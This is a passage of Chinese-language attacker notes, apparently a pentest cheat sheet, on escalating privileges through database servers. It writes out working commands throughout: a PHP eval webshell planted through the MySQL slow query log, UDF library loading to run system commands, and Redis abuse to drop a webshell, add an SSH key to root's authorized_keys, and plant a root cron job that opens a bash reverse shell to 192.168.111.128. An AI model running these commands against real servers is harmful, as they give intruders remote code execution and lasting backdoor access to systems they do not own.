show variables like'%slow_query_log%'; setGLOBAL slow_query_log="ON"; -- 开启慢查询日志 setGLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php'; -- 修改慢查询日志存储路径 select "<?php @eval($_POST[abc]); ?>" from mysql.db where sleep(11); -- 写入shell(慢查询只记录,查询时间超过11秒的操作)
其他位置
MOF
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行
启动项
往启动项路径里面写入脚本,可以利用 vbs 执行一些 CMD 命令
1 2 3 4 5 6 7
# Windows Server 2003 的启动项路径: C:\Documents and Settings\Administrator\Start Menu\Programs\Startup C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# Windows Server 2008 的启动项路径: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
UDF
UDF(user defined function)用户自定义函数,是 MySQL 的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用C、C++语言编写
MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin文件夹下才能创建自定义函数
查找插件库的路径 show variables like '%plugin%'
确认目标主机的架构 show variables like '%compile%';
将so文件的内容解码,写入到mysql插件库目录中 select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so' win就是dll文件
创建函数 create function sys_eval returns string soname 'xxx.so';
执行系统命令 select * from mysql.func; select sys_eval("whoami");
UDF的十六进制码 https://www.sqlsec.com/udf/
MSSQL(sqlserver)数据库提权
在 SQL Server 中,扩展存储过程(Extended Stored Procedures)是允许 SQL Server 调用外部程序(通常是 DLL 文件)的机制
SELECT setting FROM pg_settings WHERE name ='data_directory'; --获取安装目录 SELECT setting FROM pg_settings WHERE name ='config_file'; --获取配置文件目录 select inet_server_addr() --获取Postgres内网ip地址
redis-cli -h 192.168.111.133 info #获取redis.conf的绝对路径 config set dir /var/www/html config set dbfilename shell.php set xxx "\r\n\r\n<?php @eval($_POST[shell]);?>\r\n\r\n"#用redis写入备份的时候会自带一些版本信息,如果不换行可能会导致无法执行 save
利用redis写ssh公钥
1 2 3 4 5 6 7
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt cat /root/.ssh/key.txt | redis-cli -h 192.168.111.133 -x set xxx #-x 代表从标准输入读取数据作为该命令的最后一个参数 redis-cli -h 192.168.111.133 config set dir /root/.ssh config set dbfilename authorized_keys save
利用redis写计划任务
1 2 3 4 5
redis-cli -h 192.168.111.133 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/6666 0>&1\n\n" config set dir /var/spool/cron/crontabs/ config set dbfilename root save